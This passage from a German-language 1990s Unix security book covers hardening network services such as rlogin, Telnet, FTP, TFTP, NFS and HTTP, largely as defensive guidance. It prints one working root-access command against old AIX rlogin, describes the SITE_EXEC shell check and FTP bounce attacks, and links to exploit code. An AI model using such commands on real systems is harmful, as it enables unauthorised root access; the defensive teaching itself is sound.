kritisches rlogin-Sicherheitsloch, das es sowohl lokalen auch als entfernten Benutzern erlaubt, sich
privilegierten Zugang zu verschaffen:
In dem rlogin-Programm von NetKitB-0.6 existiert eine Schwachstelle. Diese Schwachstelle
betrifft mehrere verbreitete Linux-Distributionen, einschließlich Red Hat Linux 2.0, 2.1 und
abgeleitete Systeme wie Caldera Network Desktop, Slackware 3.0 und andere. Die
Schwachstelle ist nicht auf Linux oder andere freie Unix-Systeme beschränkt. Sowohl die
Informationen über diese Schwachstelle als auch die Methoden für ihre Ausnutzung sind
über das Internet verfügbar gemacht worden.
- Alan Cox, Marc Ewing (Red Hat), Ron Holt (Caldera, Inc.) und Adam J. Richter, Official
Update of the Linux Security FAQ; Alexander O. Yuriev, Moderator, Linux Security und
Linux Alert Mailing Lists. (CIS Laboratories, Temple University, Philadelphia, PA.)
Das Problem betrifft nicht nur Linux, sondern auch viele »echte« Unix-Distributionen haben ähnliche
Bugs, darunter bestimmte Distributionen von AIX. Der folgende Hinweis betraf Zehntausende von
AIX-Systemen:
IBM ist gerade eine AIX-Sicherheitslücke bekannt geworden, die es ermöglicht, sich entfernt
Unix - die große Herausforderung
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in jedes System mit AIX Version 3 als Root ohne Paßwort einzuloggen. IBM hofft, daß seine
Bemühungen, schnell auf dieses Problem zu reagieren, den Kunden eine schnelle Behebung
dieser Sicherheitslücke ohne größere Störungen ermöglichen wird.
Bei den betroffenen Versionen konnte jeder entfernte Benutzer diesen Befehl eingeben:
rlogin AIX.target.com -l -froot
und erhielt umgehend Root-Berechtigung auf dem Zielrechner. AIX ist nicht das einzige Unix, das
Probleme mit den r-Utilities hatte. Ich empfehle Ihnen, sie ganz zu entfernen und durch Secure Shell
(SSH) zu ersetzen.
SSH bietet wirksame Authentifizierungs- und Verschlüsselungsverfahren für Remote-Sitzungen. Es ist
ein ausgezeichneter Ersatz für rlogin und sogar Telnet. Darüber hinaus verhindert SSH auch IP- und
DNS-Spoofing-Angriffe.
Viele Administratoren schlagen vor, die Dateien /etc/host.equiv und .rhosts zu entfernen, wenn man
keine r-Utilities anbietet. Beachten Sie jedoch, daß der SSH-Client die Authentifizierung über .rhosts und
/etc/host.equiv unterstützt. Achten Sie also bei der Konfiguration des sshd darauf, daß Sie genau wissen,
wozu diese beiden Dateien benutzt werden, wenn Sie sie verwenden. Bevor Sie SSH auf Ihrem System
installieren, sollten Sie den entsprechenden RFC zu diesem Thema studieren. Es heißt »The SSH (Secure
Shell) Remote Login Protocol«.
Wegweiser:
»The SSH (Secure Shell) Remote Login Protocol« von T. Ylonen (Helsinki University of Technology) ist
online unter http://www.cs.hut.fi/ssh/RFC/ verfügbar.
Die Quellen für SSH sind für die meisten Unix-Varianten und für Linux frei verfügbar. Für
Microsoft-Betriebssysteme und für MacOS gibt es kostenpflichtige Anwendungen zu kaufen. Bei
http://www.cs.hut.fi/ssh/ finden Sie weitere Informationen.
18.10.2 finger
Der finger-Dienst kann beträchtliche Sicherheitsrisiken beherbergen und kann verwendet werden, um die
Privatsphäre Ihrer Anwender zu verletzen. Ich rate eindeutig davon ab, finger-Dienste der Außenwelt
anzubieten.
Wenn Sie dennoch der Meinung sind, daß Sie finger-Dienste anbieten müssen, empfehle ich Ihnen ein
verbessertes finger-Paket, wie sfingerd von Laurent Demailly. Eine Haupteigenschaft von sfingerd ist,
daß es Zugang zu .plan-Dateien über ein chrooted-Verzeichnis gewährt. sfingerd (dem fast immer der
Quellcode beiliegt) ist erhältlich unter:
ftp://hplyot.obspm.fr:/net/sfingerd-1.8.tar.gz
In Tabelle 18.4 sind weitere alternative finger-Daemonen aufgeführt.
Tabelle 18.4: Alternative finger-Daemonen
Daemon Adresse und Beschreibung
Unix - die große Herausforderung
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fingerd-1.0 ftp://ftp.foobar.com/pub/fingerd.tar.gz. Bietet eine umfassende Protokollierung und erlaubt
Beschränkungen der Weiterleitung. (Diese Version wurde auch für den @-Bug gepatcht.)
cfinger ftp://sunsite.unc.edu:/pub/Linux/system/network/finger/cfingerd-1.3.2.tar.gz. Kann
verwendet werden, um selektive finger-Dienste anzubieten, die einen Benutzer akzeptieren
und einen anderen nicht. Bei Anfragen von autorisierten Benutzern können Scripts
ausgeführt werden.
rfingerd ftp://coast.cs.purdue.edu/pub/tools/unix/rfingerd.tgz. Eine interessante Verflechtung: ein
Perl-Daemon. Ermöglicht eine Menge bedingter Ausführungen und Beschränkungen, z.B.
if {$user_finger_request eq 'foo'} {perform_this_operation}. Leicht anzuwenden und klein
(schließlich ist es Perl).
Hinweis:
An verschiedenen Stellen, einschließlich den Arts and Sciences Unix System Administrator Guidelines
der Duke University, wird davon abgeraten, die GNU-fingerd-Version 1.37 zu verwenden.
Offensichtlich ermöglicht ein Sicherheitsloch in dieser Version Benutzern privilegierten Dateizugriff.
18.10.3 Telnet
Telnet ist an sich kein gefährlicher Dienst. Dennoch können sogar »sichere« Versionen von Telnet
externen Benutzern Zugriff auf wertvolle Informationen gewähren.
Hinweis:
Ein gutes Beispiel eines verwundbaren Telnet kommt von Red Hat Linux 4.0. Angenommen, Sie haben
finger, die r-Utilities und den EXPN-Befehl in Sendmail deaktiviert. Bei dieser Konfiguration sind Sie
sich ziemlich sicher, daß niemand gültige Benutzernamen auf Ihrem System herausfinden kann. Aber ist
das auch so? Leider nein. Das Telnet-Paket von Red Hat 4.0 kappt zwar die Verbindung, wenn ein
ungültiger Benutzername angegeben wird. Wenn der Benutzername jedoch gültig ist (aber das Paßwort
falsch), gibt der Server einen Login-Prompt für einen weiteren Versuch aus. So kann ein Crakker mit
Hilfe einer Gewaltattacke gültige Benutzer-IDs auf Ihrem System herausfinden.
Telnet hat noch ein paar weitere erwähnenswerte Sicherheitslöcher. Eines wurde von Sam Hartman vom
Kerberos-Entwicklungsteam am MIT entdeckt (mit Bestätigung und Hilfe bei der Programmierung von
John Hawkinson, ebenfalls MIT). Dieses Sicherheitsloch war ziemlich verborgen, aber es könnte einem
entfernten Benutzer Root-Zugang verschaffen. Hartman beschreibt es in »Telnet Vulnerability: Shared
Libraries« so:
Am Sonntag, dem 15. Oktober, entdeckte ich auf mehreren Plattformen einen Bug in einigen Versionen
von telnetd, der es einem entfernten Benutzer ermöglicht, login dazu zu bringen, eine andere
C-Bibliothek von einem beliebigen Ort des Dateisystems des Rechners zu laden, auf dem telnetd läuft.
Bei Rechnern, die verteilte Dateisysteme wie AFS oder NFS mounten, die von der Öffentlichkeit
schreibbare, anonyme FTP-Verzeichnisse haben, oder zu denen der Benutzer bereits einen
Nicht-Root-Zugang hat, ist es möglich, Root-Zugriff zu erlangen.
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Das von Hartman entdeckte Sicherheitsloch betraf folgende telnetd-Versionen:
NetBSD
FreeBSD
SGI IRIX
DEC Unix
Linux
Wegweiser:
Sie können »Telnet Vulnerability: Shared Libraries« online unter http://
geek-girl.com/bugtraq/1995_4/0032.html lesen.
Wenn Sie nach einem Ersatz für Telnet suchen, haben Sie einige Auswahl. Secure Shell ist gut, aber
nicht die einzige Möglichkeit. Hier sind zwei andere, sehr gute Alternativen:
Telnet-Authentifizierung über Kerberos. Manche Telnet-Distributionen unterstützen auf Kerberos
basierende Authentifizierung und Verschlüsselung. Einige davon waren im Oktober 1995 in der
Entwicklung, als das Hartman-Sicherheitsloch entdeckt wurde. Eine Distribution der
»Kerberos«-Version von 4.4BSD finden Sie unter:
http://andrew2.andrew.cmu.edu/dist/telnet.html.
Telnet-Proxy durch Firewall, wie die tn-qw-Applikation, die im TIS Firewall Toolkit (FWTK)
enthalten ist. Solche Applikationen können entfernte Hosts explizit zulassen oder ablehnen. (Bei
vielen kann man auch Wildcards verwenden, wodurch ganze Netzwerke an der Verbindung
gehindert werden können.)
Hinweis:
Ein erwähnenswertes Sicherheitsloch ist die Übergabe-Methode von Umgebungsvariablen. Dieses Loch
kam im November 1995 zum Vorschein und betraf sogar viele »sichere« Versionen von Telnet, die eine
auf Kerberos basierende Authentifizierung verwendeten. Die Methode übergab lokale
Umgebungsvariablen an das entfernte Ziel unter Verwendung der ENVIRONMENT -Option in allen
Telnet-Versionen, die RFC 1408 oder RFC 1572 entsprachen. Die vollständige Dokumentation finden
Sie unter: http:// ciac.llnl.gov/ciac/bulletins/g-01.shtml.
Tip:
Squidge von Infonexus hat einen Exploit-Code für den Umgebungsvariablen-Angriff geschrieben. Wenn
Sie den Angriff in Aktion sehen möchten, besorgen Sie sich den Code unter:
http://users.dhp.com/~fyodor/sploits/ telnetd.LD_PRELOAD.enviropassing.html.
18.11 FTP
Es gibt einige Gründe, anonymes FTP zu ermöglichen. Obwohl FTP kein kritisches Sicherheitsrisiko
darstellt, sollten Sie sich einiger Probleme bewußt sein. Dabei geht es hauptsächlich um die Interaktion
von FTP mit anderen Programmen oder Servern:
Unix - die große Herausforderung
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Bei einigen Protokollen ist es von Natur aus schwierig, sie sicher zu filtern (z.B.
RPC-basierte UDP-Dienste), wodurch das interne Netzwerk weiter geöffnet wird. Dienste,
die auf demselben Rechner laufen, können auf katastrophale Weise interagieren. Wenn man
z.B. erlaubt, daß anonymes FTP auf demselben Rechner läuft wie der Web-Server, kann ein
Eindringling eine Datei im Anonymous-FTP-Bereich plazieren und den HTTP-Server dazu
bringen, sie auszuführen.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus Barbara Frasers Site Security Handbook (aktualisierter Draft,
Juni 1996, CMU), das Sie online unter http://
info.internet.isi.edu:80/in-drafts/files/draft-ietf-ssh-handbook- 04.txt finden können.
Anonymes FTP mit einem schreibbaren Verzeichnis macht Sie außerdem zu einem beliebten
Angriffspunkt für Bösewichte, die FTP-Bounce-Attacken ausüben.
Bei FTP-Bounce-Attacken wird ein FTP-Server verwendet, um Zugang zu einem anderen zu erlangen,
der dem Cracker zuvor die Verbindung verweigert hat. Meistens ist der Zielrechner dabei so konfiguriert,
daß er Verbindungsanforderungen von einer bestimmten IP-Adreßmaske ablehnt. Der Rechner des
Crackers hat aber eine IP-Adresse innerhalb dieser Maske, so daß er nicht auf die FTP-Verzeichnisse des
Zielrechners zugreifen kann. Um dies zu umgehen, benutzt der Cracker einen anderen Rechner (den
»Vermittler«), um auf den Zielrechner zuzugreifen. Dazu schreibt er eine Datei in das FTP-Verzeichnis
des Vermittlers, die Befehle enthält, damit dieser eine Verbindung zum Zielrechner herstellt und Dateien
von diesem lädt. Wenn der Vermittler die Verbindung eingeht, geschieht dies unter seiner eigenen
Adresse (und nicht der des Crackers). Der Zielrechner erlaubt also die Verbindung und liefert die
gewünschte Datei.
FTP-Bounce-Attacken sind kein Problem besonders hoher Priorität, da sie selten vorkommen und
meistens keine Einbruchversuche beinhalten. Die meisten dieser Angriffe kommen von außerhalb der
USA. Viele Produkte, die mit einer High-Level-Kryptographie versehen sind, dürfen nicht aus den USA
ausgeführt werden. Deshalb werden Bounce-Attacken verwendet, um diese Einschränkungen von
FTP-Sites in den USA zu umgehen.
Hinweis:
Umfassende Informationen zu Bounce-Attacken finden Sie unter: http://
www-jcr.lmh.ox.ac.uk/rootshell/hacking/ftpBounceAttack/.
Warnung:
Unter bestimmten Umständen kann ein Cracker FTP als eine Startrampe für Scan-Dienste hinter
Firewalls verwenden. Mehr Informationen über diese Attacke finden Sie unter:
http://www.society-of-shadows.com/security/ ftp-scan.c.
FTP beherbergt noch weitere, subtilere Probleme. Z.B. ist in wu-ftpd 2.4.2-beta-13 die Default-umask
002, so daß Dateien von jedem geschrieben werden können. Das kann zu ernsten
Sicherheitsgefährdungen führen. Noch schlimmer ist aber, daß dieses Sicherheitsloch auch dann noch
bestehen bleibt, wenn Sie die umask manuell ändern. Nur eine Änderung in der Datei inetd.conf schafft
Unix - die große Herausforderung
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Abhilfe. Weitere Informationen finden Sie unter:
http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/wuftpd_umask.txt.
18.12 FTP im allgemeinen
Bestimmte Versionen von FTP sind fehlerhaft oder können leicht falsch konfiguriert werden. Wenn Sie
eine Version von wu_ftpd verwenden, die vor April 1993 herausgekommen ist (nicht gerade
wahrscheinlich, aber möglich, wenn Sie eine ältere Ausrüstung gekauft haben), müssen Sie sie sofort
updaten. Denn laut CERT-Advisory 93:06 (»Sicherheitslücke wuarchive ftpd«):
Das CERT Coordination Center hat Informationen über eine Sicherheitslücke in Versionen
von wuarchive ftpd erhalten, die vor dem 8. April 1993 ausgeliefert wurden. Verwundbare
Versionen von wuarchive ftpd waren unter
ftp://wuarchive.wustl.edu/packages/wuarchive-ftp/ und vielen anderen anonymen FTP-Sites
zu bekommen... Jeder Benutzer (lokal oder entfernt) konnte Zugriff auf jeden Account
einschließlich Root auf einem Host erlangen, auf dem diese Version von ftpd lief.
Soviel zu den älteren Versionen von wu_ftpd. Und nun zu den neueren: Am 4. Januar 1997 wurde ein
Bug in Version 2.4 entdeckt (von Aleph1 und David Greenman). Das ist bedenklich, da Version 2.4 sehr
verbreitet ist. Wenn Sie 2.4 momentan verwenden (und noch nichts von diesem Bug gehört haben),
sollten Sie sich den Patch so bald wie möglich besorgen. Sie finden ihn unter:
http://www.landfield.com/wu-ftpd/mail-archive/1996/Feb/0029.html.
Zur Auseinandersetzung mit der allgemeinen Sicherheit von FTP ist es das beste, sich das FTP-Protokoll
einmal genauer anzusehen. Die FTP-Technologie hat sich seit ihrer Einführung stark verändert. Die
eigentliche FTP-Spezifikation wurde ursprünglich im RFC 959 »File Transfer Protocol (FTP)«
aufgestellt, und das ist über zehn Jahre her. Seitdem ist viel getan worden, um die Sicherheit dieser
kritischen Anwendung zu verbessern.
Das maßgebliche Dokument ist »FTP Security Extensions« von M. Horowitz (Cygnus Solutions) und S.
J. Lunt (Bellcore). Dieser Internet-Draft wurde im November 1996 verfaßt, und es heißt in der
Zusammenfassung:
Dieses Dokument definiert Erweiterungen der FTP-Spezifikation RFC 959, »File Transfer
Protocol (FTP)« vom Oktober 1985. Diese Erweiterungen sorgen für eine starke
Authentisierung, Integrität und Vertraulichkeit des Kontroll- und Datenkanals.
Wegweiser:
»FTP Security Extensions« finden Sie unter http://info.internet.isi.edu/
0/in-drafts/files/draft-ietf-cat-ftpsec-09.txt.
Das Dokument beginnt mit dem allgemein mit FTP verbundenen Problem - nämlich daß die Paßwörter in
Klartext übermittelt werden. Es beschreibt einige Fortschritte bei der Protokollsicherheit und ist ein guter
Ausgangspunkt, um etwas über Sicherheit bei FTP zu lernen.
Wenn Sie die folgenden Punkte beachten, können Sie Ihren FTP-Server besser absichern:
Unix - die große Herausforderung
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Überprüfen Sie Ihren Server auf den SITE_EXEC-Bug. Bei frühen FTP-Versionen konnten
Angreifer eine Shell erhalten, indem sie eine Telnet-Sitzung an Port 21 einleiteten. Um dies zu
überprüfen, starten Sie eine Telnet-Sitzung an Port 21 und geben den Befehl SITE_EXEC ein.
Wenn Sie eine Shell bekommen, gibt es ein Problem. Mehr Informationen dazu finden Sie im
CERT-Advisory CA-95:16: »Wu-ftpd Misconfiguration Vulnerability«, 30. November 1995,
http://bulsai.kaist.ac.kr/~ysyun/Mail-Archives/cert-advisory/95/0006.html .
Das HOME-Verzeichnis Ihres FTP-Servers sollte nicht schreibbar sein. Die einfachste und
zuverlässigste Methode, dies zu erreichen, ist ein korrektes Setzen der Berechtigungen (chmod 555
und Root als Eigentümer).
Unterbinden Sie für alle System-IDs die Verbindung über FTP. Root, bin, uucp und nobody sollten
sich nicht per FTP auf Ihren Rechner einlassen dürfen.
18.12.1 TFTP
Der beste Rat, den ich Ihnen zu TFTP geben kann, ist, es zu deaktivieren. TFTP ist ein selten genutztes
Protokoll und birgt erhebliche Sicherheitsrisiken, selbst wenn Sie eine als sicher angesehene Version
verwenden.
Hinweis:
Einige Versionen sind eindeutig nicht sicher. Darunter fällt der in AIX Version 3.x enthaltene TFTP.
Die Patch-Kontrollnummer ist ix22628. Es ist zwar sehr unwahrscheinlich, daß Sie eine so alte Version
von AIX verwenden. Aber falls Sie eine ältere RS/6000 erworben haben, sollten Sie sich dieses
Problems bewußt sein. Es ermöglicht entfernten Benutzern, an /etc/ passwd zu gelangen.
In Kapitel 10, »Scanner«, habe ich TFTP und einen Scanner behandelt, der speziell zum Aufspüren von
TFTP-Sicherheitslöchern entwickelt wurde (CONNECT). Da das Wissen um die Schwachstellen von
TFTP weit verbreitet ist, verwenden die meisten Systemadministratoren es erst gar nicht.
Hinweis:
Sogar unter Windows 95 gibt es Tools, mit denen Sie TFTP-Server knacken können. Sehen Sie sich
einmal den TFTPClient32 für Windows 95 an. Dieses Tool kann einem Cracker (mit minimalen
Unix-Kenntnissen) helfen, Ihren TFTP-Server zu knacken. Sie erhalten es unter
http://papa.indstate.edu:8888/ftp/main!winsock-l!Windows95!FTP.html .
TFTPD zu deaktivieren ist einfach. Sie müssen es nur in inetd.conf auskommentieren, so daß es beim
Booten nicht mehr geladen wird. TFTP wird hauptsächlich beim Booten von plattenlosen (diskless)
Workstations verwendet, um dem bootenden Rechner Konfigurationsdaten oder auch auszuführende
Programme zu übergeben. Auf jeden Fall sollten Sie die folgenden Hinweise beachten:
Einige TFTP-Distributionen können in einem sogenannten sicheren Modus betrieben werden.
Überprüfen Sie, ob das bei Ihrer Version der Fall ist. Wenn dieser Modus existiert, können Sie ihn
in inetd.conf durch Angabe der Option -s aktivieren. Dadurch können nur Dateien übertragen
werden, die in dem Verzeichnis /tftpboot oder darunter liegen. Andernfalls können unter
Umständen beliebige Dateien übertragen werden.
Lassen Sie alle wichtigen Vorgänge genau protokollieren und überprüfen Sie die log-Dateien
Unix - die große Herausforderung
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täglich.
Achten Sie bei der Konfiguration vom TFTPD in /etc/inetd.conf darauf, daß der Daemon unter der
Berechtigung des Benutzers »nobody« gestartet wird.
18.13 Gopher
Gopher ist ein antiquiertes, aber schnelles und effizientes Protokoll. Wenn Sie es verwenden: Hut ab vor
Ihnen! Ich bin ein großer Gopher-Fan. Gopher liefert mir Informationen sofort auf den Tisch, ohne die
lästige Werbung, die einen im WWW überall nervt.
Gopher hatte traditionell keine großen Sicherheitsprobleme, aber einige Punkte sind dennoch
erwähnenswert. Der Gopher-Server der University of Minnesota ist wahrscheinlich der populärste
Gopher-Server, der je geschrieben wurde (erhältlich unter boombox.micro.umn.edu ). Ich schätze, daß er
heute noch auf über der Hälfte aller Gopher-Server läuft. Von diesen sind ca. 10 Prozent für einen alten
Bug anfällig.
Dieser Bug betrifft sowohl Gopher als auch Gopher+ in allen Versionen, die vor August 1993 erhältlich
waren. Im CERT-Advisory CA-93:11, »UMN Unix Gopher und Gopher+ Sicherheitslücken«, heißt es:
Es ist bekannt, daß Eindringlinge diese Sicherheitslücken ausgenutzt haben, um an
Paßwortdateien zu gelangen... Jeder (entfernt oder lokal) kann uneingeschränkten Zugang
zu dem Account erhalten, auf dem der öffentlich zugängliche Client läuft. Dadurch kann er
alle Dateien lesen, die diesem Account zugänglich sind (darunter möglicherweise
/etc/passwd oder andere sensible Dateien)... Bei bestimmten Konfigurationen kann jeder
(entfernt oder lokal) Zugriff auf jeden Account erhalten, einschließlich Root, auf einem
Host, der als Server konfiguriert ist, auf dem gopherd läuft.
Über dieses Sicherheitsloch wurde auch in einem Defense Data Network Bulletin (DDN Security
Bulletin 9315, 9. August 1993) berichtet, das unter http://nic.mil/ftp/scc/sec- 9315.txt eingesehen werden
kann.
Gopher kann auch als Proxy für eine FTP-Sitzung dienen, so daß Sie eine Bounce-Attacke mit Gopher
als Startrampe durchführen können. Dies ist ein Problem, das die Firewall- Sicherheit betrifft. Wenn z.B.
Ihr FTP-Server hinter der Firewall liegt, aber Ihr Gopher-Server nicht, hat das Sperren des Zugangs zu
dem FTP-Server in diesem Fall keinen Zweck.
Schließlich ist noch anzumerken, daß Gopher in seinem Default-Zustand verglichen mit anderen
Netzwerkdiensten sehr schwache Protokollierungsmöglichkeiten bietet.
18.14 NFS (Network File System)
NFS sorgt für einige Sicherheitsprobleme. Exportierte Dateisysteme können ein Risiko darstellen oder
nicht, je nachdem, wie sie exportiert werden. Dabei spielen Berechtigungen eine große Rolle. Wenn Sie
befürchten müssen, daß Ihre Anwender ihre eigenen .rhosts-Dateien erzeugen (was Sie ausdrücklich
untersagen sollten), ist das Exportieren von HOME-Verzeichnissen keine gute Idee, da diese
Verzeichnisse natürlich Lese-/Schreibberechtigungen enthalten.
Unix - die große Herausforderung
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Einige Tools können Ihnen helfen, den Prozeß der Überprüfung (und Schließung) von NFS-
Sicherheitslücken zu automatisieren. Eines davon ist NFSbug, geschrieben von Leendert van Doorn.
NFSbug ist ein Scanner für allgemein bekannte NFS-Sicherheitslöcher. Bevor Sie mit Ihrem
Sicherheits-Audit abschließen und Ihren Rechner für die Öffentlichkeit freigeben, empfehle ich Ihnen,
Ihr System mit diesem Utility zu prüfen (bevor Cracker es tun). NFSbug finden Sie unter:
ftp://ftp.cs.vu.nl/pub/leendert/nfsbug.shar.
Tip:
Eine tolle Erläuterung der Art und Weise, wie Cracker NFS angreifen, finden Sie in »Improving the
Security of Your Site by Breaking Into It« (Dan Farmer und Wietse Venema). Dieses Dokument enthält
eine Schritt-für- Schritt-Analyse einer solchen Attacke. Sie erhalten es unter: http://
www.alw.nih.gov/Security/Docs/admin-guide-to-cracking.101.html.
Warnung:
Richten Sie niemals einen NFS-Zugang mit Schreibberechtigung für privilegierte Dateien oder Bereiche
ein und geben Sie diesen über das Netz frei. Wenn Sie das tun, handeln Sie sich viel Ärger ein. Lassen
Sie nur Leseberechtigungen zu.
NFS ist eine vielgenutzte Eingangstür für Cracker. In einem Defense Data Network Advisory von 1995
heißt es:
ZUSAMMENFASSUNG: Anstieg der Berichte über Root-Verletzungen durch Eindringlinge,
die Tools zur Ausnutzung verschiedener NFS-Sicherheitslücken verwendet haben... Mit Hilfe
solcher Tools verschaffen Eindringlinge sich unautorisierten Zugang zu
Netzwerkressourcen. Diese Tools und Informationen darüber sind in zahlreichen
Internetforen verbreitet worden.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus dem DDN Security Bulletin 9501, das Sie online unter
ftp://nic.ddn.mil/scc/sec-9501.txt finden.
Ein weiteres Problem ist, daß Sie, selbst wenn Sie »verbesserte« oder »sichere« NFS verwenden (im
wesentlichen NFS plus DES), immer noch nicht sicher sind. Der DES-Schlüssel wird von dem
Benutzerpaßwort abgeleitet, und dies ist ein offensichtliches Problem. Die Installation von Shadowing ist
vielleicht ein Weg, einen Cracker daran zu hindern, an die passwd-Listen zu gelangen. Der einzige
wirkliche Vorteil der um DES erweiterten Versionen besteht darin, daß die Routine die Uhrzeit
aufzeichnet. Timestamp-Verfahren schließen die Möglichkeit aus, daß ein Cracker den Austausch
abhören und später wiedergeben kann.
Hinweis:
Eine Möglichkeit ist, den NFS-Traffic auf Router-Ebene zu blockieren. Das machen Sie, indem Sie
Filter für Port 111 und 2049 einrichten. Das hat allerdings wenig Einfluß auf Cracker, die sich
innerhalb Ihres Netzwerks befinden. Deshalb bevorzuge ich eine Kombination beider Techniken. D.h.,
wenn Sie NFS verwenden müssen, verwenden Sie eine verbesserte Version mit DES-Authentifizierung
und zusätzlich eine Blockade auf Router-Ebene.
Unix - die große Herausforderung
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Ich empfehle Ihnen, die folgenden Links zur NFS-Sicherheit aufzusuchen. Jede Site bietet eine andere
Sicht des Problems und mögliche Lösungen oder wichtige Informationen über NFS- und RPC-Aufrufe:
The COAST Archive at Purdue, mit Tutorials zu Schwachstellen von NFS (und NIS),
http://www.cs.purdue.edu/coast/satan-html/tutorials/vulnerabili ty_tutorials.html.
NFS Version 3 Protocol Specification, B. Callaghan, B. Pawlowski und P. Staubach, (Sun
Microsystems), Juni 1995, http://sunsite.auc.dk/RFC/rfc/rfc1813.html.
NFS Security Administration and Information Clearinghouse, Vicki Brown und Dan Egnor,
http://www.cco.caltech.edu/~refguide/sheets/nfs-security.html.
18.15 HTTP
HTTP hat vielfältige Sicherheitsprobleme, von denen die meisten in Kapitel 28, »Sprachen,
Erweiterungen und Sicherheit«, behandelt werden. Einige wichtige Punkte sollen jedoch auch hier
angesprochen werden.
Zuerst einmal dürfen Sie httpd nie als Root laufen lassen. Wenn Sie es doch tun, werden Sie ein sehr
unglücklicher Systemadministrator sein. Schwachstellen in CGI-Programmen ermöglichen entfernten
Angreifern die Ausführung beliebigen Codes mit der UID des httpd- Servers. Wenn dieser Server als
Root läuft, ist Ihr gesamtes System gefährdet.
Sie könnten in Erwägung ziehen, httpd als einen chrooted-Prozeß laufen zu lassen. Viele Ratgeber sind
der Meinung, daß dies eine größere Sicherheit bietet.
Hinweis:
Wenn Sie http in einer chrooted-Umgebung laufen lassen, werden Ihre Anwender jedoch nicht mehr in
der Lage sein, CGI-Scripts auszuführen, es sei denn, sie tun dies ebenfalls in einer chrooted-Umgebung.
(Normalerweise können Anwender CGI-Programme von einem Unterverzeichnis ihres eigenen
Verzeichnisses aus ausführen - z.B. ~usr/public_html/cgi-bin.) Wenn Sie Ihren Anwendern zugesichert
haben, daß sie CGI verwenden können, ist das ein Problem.
Es hängt viel davon ab, ob Sie Ihren Anwendern Zugriff auf den Web-Server und dessen Dienste
(einschließlich CGI) gewähren oder nicht. Viele ISPs verweigern einen solchen Zugriff. Das typische
Angebot ist 10 M Byte Speicherplatz mit FTP, aber ohne CGI. Die meisten ISPs stellen noch nicht
einmal einen Shell-Zugang zur Verfügung. Ich persönlich würde damit nicht zurechtkommen.
Wenn Sie solche Dienste anbieten, sollten Sie Richtlinien aufstellen. Ich kenne z.B. einen ISP, der CGI
nur erlaubt, wenn seine Entwickler den Code prüfen können, bevor er ans Netz geht. Diese Methode hat
Vor- und Nachteile. Der Vorteil ist, daß Sie jede Zeile Code zu sehen bekommen, die auf Ihren Server
kommt. Der Nachteil ist, daß Sie jede Zeile Code zu sehen bekommen, die auf Ihren Server kommt. Wer
möchte schon all den Code nach Sicherheitslöchern überprüfen?
Die Lösung könnte sein, ein Programm wie CGIWRAP zu verwenden. CGIWRAP automatisiert den
Prozeß, indem es folgende Funktionen ausführt:
Überprüfen von CGI auf potentielle Sicherheitslöcher
Unix - die große Herausforderung
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Wrapping und Protokollierung aller Script-Zugriffe
CGIWRAP wurde von Nathan Neulinger geschrieben und 1995 herausgegeben. Es ist an verschiedenen
Stellen im Netz erhältlich. Ich habe gute Erfahrungen mit ftp:// ftp.cc.umr.edu/pub/cgi/cgiwrap/ gemacht.
CGIWRAP funktioniert nachgewiesenermaßen auf den folgenden Plattformen:
A/UX
HPUX
Solaris
Linux
OSF/1
Leider kann CGIWRAP nicht alle Sicherheitsprobleme von HTTP beheben. Sie werden im einzelnen in
Kapitel 26 näher erläutert, aber ein paar Punkte möchte ich hier schon ansprechen. Sie sollten wenigstens
diese grundlegenden Vorkehrungen treffen:
Deaktivieren Sie die EXEC-Option. Damit hindern Sie Anwender daran, Befehle als Server
auszuführen.
Deaktivieren Sie Server Side Includes (Dokumentelemente, die auf der <include>-Angabe
beruhen, wie Zeit, Datum und letztes Änderungsdatum).
Setzen Sie die Option AllowOverride auf NONE. So verhindern Sie, daß Ihre lokalen Benutzer
innerhalb ihrer eigenen Verzeichnisse eigene Optionen einstellen.
Beachten Sie auch NCSAs Warnung in bezug auf DNS-basierte Authentifizierung:
Die Zugriffskontrolle durch Hostnamen und die grundlegenden Einrichtungen zur
Benutzer-Authentifizierung von HTTPd sind relativ sicher, aber nicht wirklich kugelsicher.
Die Benutzer-Authentifizierung sendet Paßwörter in Klartext über das Netz, so daß sie leicht
gelesen werden können. Die DNS-basierte Zugriffskontrolle ist nur so sicher wie DNS
selbst; das sollten Sie nicht vergessen, wenn Sie sie benutzen. Fazit: Wenn er absolut sicher
nicht von externen Benutzern gesehen werden kann, sollten Sie HTTPd besser nicht zu
seinem Schutz verwenden.
»NCSA Tutorial Pages: Making Your Setup More Secure«,
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/security.html .
18.15.1 HTTP-Sicherheit im allgemeinen
Bei der Sicherheit von HTTP hat sich besonders in den letzten zwei Jahren viel getan. Die größte
Verbesserung war die Entwicklung von sicheren Protokollen. Von diesen Protokollen ist das Secure
Sockets Layer Protocol das vielversprechendste.
18.15.2 Das Secure Sockets Layer Protocol
Secure Sockets Layer (SSL) wurde von Netscape Communications entwickelt. Das System verwendet
RSA- und DES-Authentifizierung und zusätzlich dazu noch eine Überprüfung der MD5-Integrität. Um
mehr über SSL zu erfahren, sollten Sie sich die Homepage von SSL ansehen. Das Dokument mit Namen
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (25 von 55) [19.04.2000 21:15:09]
»The SSL Protocol« (Internet-Draft) wurde von Alan O. Freier und Philip Karlton (Netscape
Communications) zusammen mit Paul C. Kocher verfaßt. Sie finden es unter:
http://home.netscape.com/eng/ssl3/ssl-toc.html.
18.16 Sicherung des Dateisystems
Als nächstes sollten Sie, bevor Sie mit Ihrem Rechner ans Netz gehen (lokal oder weltweit), Ihr
Dateisystem sichern. Sie werden diese Sicherheitskopie später verwenden, um die Datenintegrität zu
prüfen, womit wir wieder bei TripWire wären.
18.16.1 TripWire
TripWire ist ein Tool, das Integritätsprüfungen von Dateisystemen mit Hilfe kryptographischer
Prüfsummen vornimmt. Mit TripWire können Sie jede Manipulation aufspüren, die vorgenommen
worden ist. Sie können TripWire auch verwenden, um Ihre Festplatten nach Dateien zu durchforsten, die
dort nichts verloren haben. Am Ende dieses Kapitels finden Sie eine umfassende Liste von Exploits. Für
jeden Exploit gebe ich eine URL an, unter der Sie seinen Quellcode finden. Wenn Sie die Exploits
herunterladen und kompilieren - und dann MD5-Werte für jeden erzeugen - können Sie diese Werte in
Ihre wöchentliche oder monatliche Festplattenanalyse miteinbeziehen.
Da ich TripWire in vorangegangenen Kapiteln bereits behandelt habe, möchte ich hier nicht näher darauf
